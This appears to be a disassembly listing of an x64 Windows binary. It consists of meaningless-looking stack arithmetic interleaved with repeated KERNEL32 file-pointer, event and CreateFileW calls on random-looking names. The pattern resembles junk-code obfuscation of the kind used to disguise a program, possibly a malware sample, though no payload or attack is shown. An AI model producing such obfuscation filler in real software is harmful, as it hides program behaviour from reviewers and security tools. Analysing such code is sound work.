movzx eax, word [rsp + 0x378]
mov word [rsp + 0x1564], ax
movzx eax, byte [rsp + 0x57c]
movzx ecx, byte [rsp + 0x137]
and eax, ecx
mov rcx, qword [rsp + 0x820]
mov byte [rcx], al
mov rax, qword [rsp + 0x1278]
mov rcx, qword [rsp + 0x9c8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x14d8]
mov dword [rcx], eax
lea rax, [rsp + 0x238]
mov qword [rsp + 0x1b40], rax
mov rax, qword [0x1400fd4a0]
mov rcx, qword [rsp + 0x1eb8]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x470]
mov qword [rcx], rax
mov r9d, 2
xor r8d, r8d
mov edx, 0x5540
mov rcx, qword [rsp + 0x36f8]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x10cc], eax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0x39e0], rax
mov rax, qword [rsp + 0xd8]
mov ecx, dword [rsp + 0x9dc]
mov eax, dword [rax]
and eax, ecx
mov dword [0x1400fd1d8], eax
lea rax, [rsp + 0x85c]
mov qword [rsp + 0x31b0], rax
mov r9d, 1
xor r8d, r8d
mov edx, 0x65d6
mov rcx, qword [rsp + 0x3670]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x21bc], eax
mov rcx, qword [rsp + 0x29c0]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x1a9c], eax
movsx eax, word [0x1400fc420]
mov rcx, qword [rsp + 0x2938]
movsx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x860], ax
movzx eax, word [rsp + 0x600]
movzx ecx, word [rsp + 0x89c]
xor eax, ecx
mov word [rsp + 0x6c], ax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x200
mov dword [rsp + 0x20], 0
xor r9d, r9d
mov r8d, 8
mov edx, 0xc0000000
lea rcx, str.kPRo76cUc4Vjuz4FSColk
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x4ff0], rax
mov rax, qword [rsp + 0x2838]
mov qword [rsp + 0x2918], rax
mov rcx, qword [rsp + 0x1910]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov rax, qword [rsp + 0x2980]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [0x1400fd1d8]
shl eax, cl
mov dword [rsp + 0x1384], eax
movsx eax, byte [rsp + 0x157]
mov rcx, qword [rsp + 0x508]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0xe55], al
mov rax, qword [rsp + 0x14f0]
mov rcx, qword [rsp + 0x3718]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x1720], rax
lea rax, [rsp + 0x30c]
mov qword [rsp + 0x37f8], rax
movzx eax, word [rsp + 0xb10]
mov word [0x1400fd6a8], ax
mov rax, qword [rsp + 0xfa8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x2df0]
add rax, qword [rcx]
mov rcx, qword [rsp + 0x790]
mov qword [rcx], rax
mov rax, qword [rsp + 0x10a0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x1318]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x10a0]
mov word [rcx], ax
movzx eax, byte [rsp + 0x134]
mov byte [rsp + 0x2d6], al
mov rax, qword [rsp + 0x2c48]
mov eax, dword [rax]
cdq
mov ecx, 0x7b2d3f7a
idiv ecx
mov dword [rsp + 0x11a4], eax
mov rax, qword [rsp + 0x470]
mov rcx, qword [rsp + 0x1888]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x3da0], rax
mov rax, qword [rsp + 0x1f58]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x1b40]
movsx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x508]
mov byte [rcx], al
mov rax, qword [0x1400fd2c8]
mov eax, dword [rax]
add eax, dword [rsp + 0x674]
mov dword [rsp + 0xb9c], eax
movzx eax, word [rsp + 0xec0]
mov word [rsp + 0x1608], ax
xor r9d, r9d
xor r8d, r8d
mov edx, 0x33b5
mov rcx, qword [rsp + 0x3dd0]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x260], eax
mov rcx, qword [rsp + 0x3790]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x2160], eax
movzx eax, word [rsp + 0x698]
movzx ecx, word [rsp + 0x4a4]
and eax, ecx
mov word [0x1400fc500], ax
mov rax, qword [rsp + 0x1cc8]
mov rcx, qword [rsp + 0x18a0]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x1f70], rax
mov rax, qword [rsp + 0x12e8]
mov rax, qword [rax]
mov qword [rsp + 0x4db8], rax
mov r9d, 1
xor r8d, r8d
mov edx, 0x3606
mov rcx, qword [rsp + 0x1778]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0xe28], eax
movsx eax, word [rsp + 0x6c8]
movsx ecx, word [rsp + 0x368]
shl eax, cl
mov word [rsp + 0xb14], ax
mov rcx, qword [rsp + 0x2bf8]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x26a4], eax
mov rax, qword [rsp + 0x14c8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xa8]
movzx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x1288]
mov word [rcx], ax
movsx eax, byte [rsp + 0x917]
movsx ecx, byte [rsp + 0x158]
sar eax, cl
mov byte [rsp + 0x3f3], al
mov rax, qword [rsp + 0x3798]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x1e60]
add rax, qword [rcx]
mov rcx, qword [rsp + 0x30c0]
mov qword [rcx], rax
mov eax, dword [rsp + 0xe1c]
mov dword [rsp + 0x13c0], eax
mov rax, qword [rsp + 0x2fa0]
mov rcx, qword [rsp + 0x1cc8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x1088], rax
movsx eax, word [0x1400fd648]
movsx ecx, word [rsp + 0x6ec]
add eax, ecx
mov word [0x1400fd2c0], ax
movzx eax, word [rsp + 0x458]
mov rcx, qword [rsp + 0x1770]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x254], ax
mov eax, dword [rsp + 0x678]
mov ecx, dword [rsp + 0xe00]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x215c], eax
movzx eax, byte [rsp + 0x15a]
movzx ecx, byte [rsp + 0x16c]
and eax, ecx
mov byte [rsp + 0xe5], al
lea rax, [rsp + 0x1a08]
mov qword [rsp + 0x37f0], rax
mov rax, qword [0x1400fd148]
movzx ecx, al
mov rax, qword [rsp + 0x2348]
shr rax, cl
mov qword [rsp + 0x29e8], rax
lea rax, [rsp + 0x137c]
mov qword [rsp + 0x2c80], rax
mov rax, qword [rsp + 0x2b78]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x16e]
sub eax, ecx
mov byte [rsp + 0x2d1], al
mov r9d, 1
xor r8d, r8d
mov edx, 0x967c
mov rcx, qword [rsp + 0x2900]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0xe08], eax
mov rax, qword [rsp + 0x2f88]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x3248]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xe98], ax
lea rax, [rsp + 0x8c]
mov qword [0x1400fd6b0], rax
lea rax, [rsp + 0x1140]
mov qword [rsp + 0x29d8], rax
mov rcx, qword [rsp + 0x28b0]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x1110], eax
mov rax, qword [rsp + 0x30a8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x878]
and eax, ecx
mov word [rsp + 0x6f4], ax
lea rax, [rsp + 0x1608]
mov qword [rsp + 0x3098], rax
mov rax, qword [rsp + 0xfa8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x2308]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x3148], rax
movsx eax, byte [rsp + 0x23a]
movsx ecx, byte [0x1400fd135]
or eax, ecx
mov byte [rsp + 0xe54], al
mov rax, qword [rsp + 0x1fc0]
mov rax, qword [rax]
mov qword [rsp + 0x37d8], rax
mov eax, dword [rsp + 0x670]
mov rcx, qword [rsp + 0xf60]
mov qword [rsp + 0x4a28], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4a28]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0x1db0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x2c90]
movzx eax, word [rax]
mov word [rsp + 0x2224], ax
mov rax, qword [rsp + 0xf68]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x3a20]
add rcx, rax
mov rax, rcx
mov qword [0x1400fc460], rax
movzx eax, byte [rsp + 0x159]
mov rcx, qword [rsp + 0x2e20]
movzx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x1c78]
mov byte [rcx], al
mov eax, dword [rsp + 0x1918]
imul eax, dword [0x1400fc384]
mov dword [rsp + 0x13a4], eax
lea rax, [rsp + 0x6c0]
mov qword [rsp + 0x1b20], rax
movzx eax, word [rsp + 0x3b8]
movzx ecx, word [rsp + 0xabc]
sub eax, ecx
mov word [rsp + 0x220], ax
mov rax, qword [rsp + 0x25a8]
mov rcx, qword [rsp + 0x1af8]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x28f8], rax
mov rax, qword [rsp + 0xa48]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xb9c]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x960]
mov dword [rcx], eax
movsx eax, byte [rsp + 0x50]
movsx ecx, byte [0x1400fd132]
sub eax, ecx
mov byte [rsp + 0x607], al
movzx eax, word [rsp + 0x248]
mov word [rsp + 0xc44], ax
movzx eax, word [rsp + 0xec4]
mov word [0x1400fd6b8], ax
mov rax, qword [rsp + 0x24e8]
movzx ecx, al
mov rax, qword [rsp + 0x2880]
sar rax, cl
mov qword [rsp + 0x3140], rax
mov rax, qword [rsp + 0x36e0]
mov rcx, qword [rsp + 0x1d28]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x3750], rax
mov rax, qword [rsp + 0x980]
mov rcx, qword [rsp + 0x22e0]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0x2c10], rax
movzx eax, word [rsp + 0x5a8]
mov word [rsp + 0x5c0], ax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 2
mov dword [rsp + 0x20], 4
xor r9d, r9d
mov r8d, 1
mov edx, 0x40000000
lea rcx, str.wj1uaW2mqRcWYdCcQlyTxrcByEcD24_fbtPkmc
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x4af8], rax
mov rax, qword [0x1400fd4c8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x538]
movsx ecx, byte [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x17b8]
mov byte [rcx], al
mov rax, qword [rsp + 0x11c8]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x2b68]
shl rax, cl
mov qword [rsp + 0x3da0], rax
mov rax, qword [0x1400fd2c8]
mov rcx, qword [rsp + 0x988]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x2194], eax
mov rcx, qword [rsp + 0xc60]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x1aa8], eax
mov eax, dword [rsp + 0xe0c]
mov ecx, dword [rsp + 0xcd0]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x1674], eax
xor r9d, r9d
xor r8d, r8d
mov edx, 0x92f4
mov rcx, qword [rsp + 0x3708]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x1980], eax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0x4b78], rax
lea rax, [rsp + 0x60]
mov qword [rsp + 0x2658], rax
movsx eax, word [0x1400fc4dc]
movsx ecx, word [rsp + 0x4d0]
sar eax, cl
mov word [0x1400fc3c0], ax
mov rax, qword [rsp + 0x2a70]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x1d68]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x88c], ax
movzx eax, word [rsp + 0x714]
mov rcx, qword [0x1400fd1f8]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x4a0], ax
xor r9d, r9d
xor r8d, r8d
mov edx, SHChangeNotification_Lock
mov rcx, qword [rsp + 0x2ed8]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0xe14], eax
mov rax, qword [rsp + 0x1d20]
mov rax, qword [rax]
mov qword [rsp + 0x4b90], rax
mov rax, qword [rsp + 0x31b8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x26b0]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xce0], eax
movzx eax, byte [rsp + 0x57a]
mov byte [rsp + 0xe4b], al
mov rcx, qword [rsp + 0x1bf0]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov rax, qword [rsp + 0x1018]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x2858]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x2d48]
mov qword [rcx], rax
movsx eax, word [rsp + 0x6c4]
mov rcx, qword [rsp + 0x2468]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x3db0]
mov word [rcx], ax
lea rax, [rsp + 0x28c]
mov qword [rsp + 0x3e10], rax
mov rax, qword [rsp + 0x24e8]
mov rcx, qword [rsp + 0x2b0]
mov qword [rsp + 0x4a30], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4a30]
mov rax, qword [rax]
sar rax, cl
mov qword [0x1400fd320], rax
movzx eax, word [rsp + 0x940]
mov rcx, qword [rsp + 0x1fa8]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0xe5c], ax
lea rax, [0x1400fc3a8]
mov qword [rsp + 0x2a58], rax
xor r9d, r9d
xor r8d, r8d
mov edx, 0xfb4c
mov rcx, qword [rsp + 0x1940]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x2760], eax
mov rax, qword [rsp + 0x1bd0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x16e8]
mov qword [rsp + 0x4a38], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4a38]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0x2380], rax
mov rax, qword [rsp + 0x2ec8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x170]
xor eax, ecx
mov byte [rsp + 0x918], al
mov rcx, qword [rsp + 0x1f20]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x13d0], eax
mov rax, qword [rsp + 0x1ba0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x10d4]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xa90]
mov dword [rcx], eax
mov rax, qword [rsp + 0x2368]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x14c0]
add eax, dword [rcx]
mov dword [rsp + 0x13e8], eax
movzx eax, byte [rsp + 0x2d6]
mov byte [rsp + 0x3f6], al
mov rax, qword [rsp + 0x628]
mov rax, qword [rax]
mov rcx, qword [0x1400fc3d8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x1208], rax
mov r9d, 2
xor r8d, r8d
mov edx, 0x8013
mov rcx, qword [rsp + 0x3e60]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x1ac0], eax
movsx eax, word [rsp + 0xb18]
mov rcx, qword [rsp + 0x1fb0]
movsx ecx, word [rcx]
and eax, ecx
mov word [0x1400fc504], ax
mov rcx, qword [rsp + 0x3678]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0xbb0], eax
lea rax, [rsp + 0x110]
mov qword [rsp + 0x3de0], rax
mov rax, qword [0x1400fd160]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x70]
sar eax, cl
mov word [rsp + 0x600], ax
mov rax, qword [rsp + 0x2c28]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x1f90]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x88c], ax
mov rax, qword [rsp + 0x17a8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xc8]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x1ac8], eax
mov rax, qword [rsp + 0x11c8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x19f0]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x22c0]
mov qword [rcx], rax
lea rax, [rsp + 0x15d]
mov qword [rsp + 0x40b8], rax
mov rax, qword [0x1400fd3f8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x18d8]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x6c4], ax
mov rax, qword [rsp + 0x1470]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x31c]
sub eax, ecx
mov word [rsp + 0x150], ax
mov r9d, 2
xor r8d, r8d
mov edx, 0xc9c9
mov rcx, qword [rsp + 0x3680]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x27e0], eax
mov rax, qword [rsp + 0x1848]
mov qword [0x1400fd6c0], rax
mov rax, qword [0x1400fd460]
mov rax, qword [rax]
mov qword [rsp + 0x2f18], rax
mov rax, qword [rsp + 0x1b30]
mov rcx, qword [rsp + 0x1848]
mov rax, qword [rax]
xor rax, rcx
mov rcx, qword [rsp + 0x2c58]
mov qword [rcx], rax
mov rax, qword [rsp + 0x1268]
mov rax, qword [rax]
mov qword [rsp + 0x5318], rax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0x4d28], rax
mov rax, qword [rsp + 0x658]
movzx eax, word [rax]
mov rcx, qword [0x1400fd518]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x428], ax
movzx eax, byte [rsp + 0xfa]
mov rcx, qword [rsp + 0x358]
movzx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x132], al
mov r9d, 1
xor r8d, r8d
mov edx, 0x35d3
mov rcx, qword [rsp + 0x2c60]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x488], eax
lea rax, [rsp + 0x480]
mov qword [rsp + 0x3a98], rax
mov eax, dword [rsp + 0x7a4]
mov rcx, qword [rsp + 0x1db0]
mov qword [rsp + 0x4a40], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4a40]
mov eax, dword [rax]
shr eax, cl
mov rcx, qword [rsp + 0x12c0]
mov dword [rcx], eax
lea rax, [rsp + 0x3028]
mov qword [rsp + 0x4dc8], rax
mov rax, qword [rsp + 0x2388]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x1c6]
add eax, ecx
mov byte [0x1400fd133], al
mov rcx, qword [rsp + 0x2ab8]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
movsx eax, word [rsp + 0x4ac]
movsx ecx, word [rsp + 0x240]
add eax, ecx
mov word [rsp + 0x4c4], ax
lea rax, [rsp + 0xc44]
mov qword [rsp + 0x2a00], rax
movzx eax, word [rsp + 0x8c]
mov rcx, qword [rsp + 0x1358]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xabc], ax
mov rax, qword [rsp + 0x1440]
mov rcx, qword [rsp + 0x25e8]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x1088], rax
lea rax, [rsp + 0xa80]
mov qword [rsp + 0x3968], rax
movsx eax, byte [rsp + 0x11d]
mov rcx, qword [rsp + 0x24a0]
movsx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x2ac0]
mov byte [rcx], al
mov rax, qword [rsp + 0x1ef0]
mov eax, dword [rax]
mov ecx, dword [0x1400fd550]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x2190], eax
mov rax, qword [rsp + 0x1178]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x390]
add eax, ecx
mov word [rsp + 0x6d0], ax
movzx eax, word [rsp + 0x864]
mov word [0x1400fd6c8], ax
mov rax, qword [rsp + 0x18c0]
mov rcx, qword [rsp + 0x2400]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x2918], rax
mov rax, qword [rsp + 0xb30]
movzx eax, word [rax]
mov word [rsp + 0x86c], ax
movzx eax, byte [rsp + reloc.SHELL32.dll_SHMultiFileProperties]
movzx ecx, byte [rsp + 0x108]
and eax, ecx
mov byte [rsp + 0xfa], al
mov r9d, 2
xor r8d, r8d
mov edx, 0xb60d
mov rcx, qword [rsp + 0x2eb8]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x345c], eax
lea rax, [rsp + 0xe38]
mov qword [rsp + 0x3ee8], rax
mov rcx, qword [rsp + 0x3768]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov r9d, 2
xor r8d, r8d
mov edx, 0x6aeb
mov rcx, qword [rsp + 0x2d10]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x34dc], eax
mov rax, qword [rsp + 0x2ad8]
movzx ecx, al
mov rax, qword [rsp + 0x29e0]
shl rax, cl
mov rcx, qword [rsp + 0x2958]
mov qword [rcx], rax
movsx eax, byte [rsp + 0x16e]
mov rcx, qword [rsp + 0xdc8]
movsx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x80], al
mov rax, qword [rsp + 0x17a8]
mov rcx, qword [rsp + 0x24b0]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x10f4], eax
mov rax, qword [rsp + 0x2938]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x2498]
movsx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x258], ax
mov rcx, qword [rsp + 0x39e0]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x27f8], eax
movzx eax, word [0x1400fd678]
movzx ecx, word [rsp + 0x48c]
sub eax, ecx
mov word [0x1400fd4f0], ax
mov rax, qword [rsp + 0x778]
mov rax, qword [rax]
mov qword [rsp + 0x4b40], rax
mov rax, qword [0x1400fd2e0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xd30]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x7f8]
mov qword [rcx], rax
lea rax, [rsp + 0x6b4]
mov qword [rsp + 0x1490], rax
mov r9d, 1
xor r8d, r8d
mov edx, 0xf7d6
mov rcx, qword [rsp + 0x1320]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x34d8], eax
mov rax, qword [rsp + 0x1a20]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x244]
and eax, ecx
mov rcx, qword [rsp + 0x2a8]
mov word [rcx], ax
mov rax, qword [rsp + 0xa68]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x1878]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x1e50], rax
mov rcx, qword [rsp + 0x1ec8]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x4334], eax
lea rax, [rsp + 0xb98]
mov qword [rsp + 0x4a60], rax
mov rax, qword [rsp + 0x25c0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x2cd]
sar eax, cl
mov byte [rsp + 0x22f], al
mov rax, qword [rsp + 0xa30]
mov rax, qword [rax]
mov qword [rsp + 0x30b0], rax
mov rax, qword [rsp + 0x958]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x2310]
movsx ecx, word [rcx]
sub eax, ecx
mov word [0x1400fc508], ax
movzx eax, word [rsp + 0x4bc]
mov rcx, qword [rsp + 0x14f8]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x374], ax
mov r9d, 1
xor r8d, r8d
mov edx, 0x46b7
mov rcx, qword [rsp + 0x2840]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x26e8], eax
movzx eax, byte [rsp + 0x402]
movzx ecx, byte [rsp + 0x109]
cdq
idiv ecx
mov byte [rsp + 0x172], al
mov rcx, qword [rsp + 0xc60]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov rax, qword [rsp + 0xa38]
mov eax, dword [rax]
cdq
idiv dword [rsp + 0x216c]
mov dword [rsp + 0x13f4], eax
mov rax, qword [rsp + 0x22e0]
mov rcx, qword [rsp + 0xb40]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov rcx, qword [rsp + 0x1000]
mov qword [rcx], rax
mov eax, dword [0x1400fd214]
mov dword [rsp + 0x10d0], eax
mov rax, qword [rsp + 0x24d8]
mov rcx, qword [rsp + 0x29d0]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0x2868], rax
movsx eax, byte [rsp + 0x90]
movsx ecx, byte [0x1400fc383]
shl eax, cl
mov rcx, qword [rsp + 0x2bf0]
mov byte [rcx], al
mov r9d, 1
xor r8d, r8d
mov edx, 0xd82d
mov rcx, qword [rsp + 0x3e20]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x2804], eax
mov rax, qword [rsp + 0x1420]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xa78]
movsx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0xef0], ax
movzx eax, word [rsp + 0x3b8]
mov rcx, qword [rsp + 0xa98]
movzx ecx, word [rcx]
add eax, ecx
mov word [0x1400fd6b8], ax
mov rax, qword [rsp + 0x2380]
mov rcx, qword [rsp + 0x3da8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x1088], rax
mov rax, qword [rsp + 0x1538]
movzx eax, word [rax]
mov word [rsp + 0x15e8], ax
movsx eax, word [rsp + 0x464]
mov rcx, qword [rsp + 0x24a8]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x280], ax
mov rax, qword [rsp + 0x1da0]
mov rcx, qword [rsp + 0x1d20]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x14e8], rax
mov eax, dword [rsp + 0x34d4]
mov dword [rsp + 0x13ac], eax
mov rcx, qword [rsp + 0x3688]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0xcf4], eax
mov rax, qword [rsp + 0x2a38]
mov rcx, qword [rsp + 0x2fb0]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x36c8]
mov qword [rcx], rax
lea rax, [0x1400fd132]
mov qword [rsp + 0x3fd8], rax
movzx eax, word [rsp + 0x41c]
mov rcx, qword [rsp + 0x23e8]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x10a0]
mov word [rcx], ax
mov rax, qword [0x1400fd540]
mov rcx, qword [rsp + 0x2b00]
mov qword [rsp + 0x4a48], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4a48]
mov rax, qword [rax]
sar rax, cl
mov qword [0x1400fd500], rax
xor r9d, r9d
xor r8d, r8d
mov edx, 0x49d6
mov rcx, qword [rsp + 0x1c98]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x9a0], eax
mov eax, dword [rsp + 0xcd0]
mov ecx, dword [rsp + 0x1380]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x1ab8], eax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0x39f8], rax
xor r9d, r9d
xor r8d, r8d
mov edx, 0xdc9e
mov rcx, qword [rsp + 0x758]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x13c4], eax
mov rcx, qword [rsp + 0x28b0]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov rax, qword [rsp + 0x800]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x2cc0]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x2408]
mov byte [rcx], al
mov rax, qword [rsp + 0x18e0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x30c]
and eax, ecx
mov word [rsp + 0x78], ax
mov rax, qword [rsp + 0x1ad0]
movzx eax, word [rax]
mov word [rsp + 0xea0], ax
mov rax, qword [rsp + 0x298]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xdc8]
movsx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x11b], al
mov eax, dword [rsp + 0x684]
mov rcx, qword [rsp + 0x11f0]
mov qword [rsp + 0x4a50], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4a50]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x2138], eax
mov rax, qword [rsp + 0x768]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x1260]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x14f0], rax
mov r9d, 1
xor r8d, r8d
mov edx, 0x7e41
mov rcx, qword [rsp + 0x32b8]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x13c8], eax
movsx eax, word [rsp + 0x4cc]
mov rcx, qword [rsp + 0x14e0]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x560], ax
mov rcx, qword [rsp + 0x29c0]
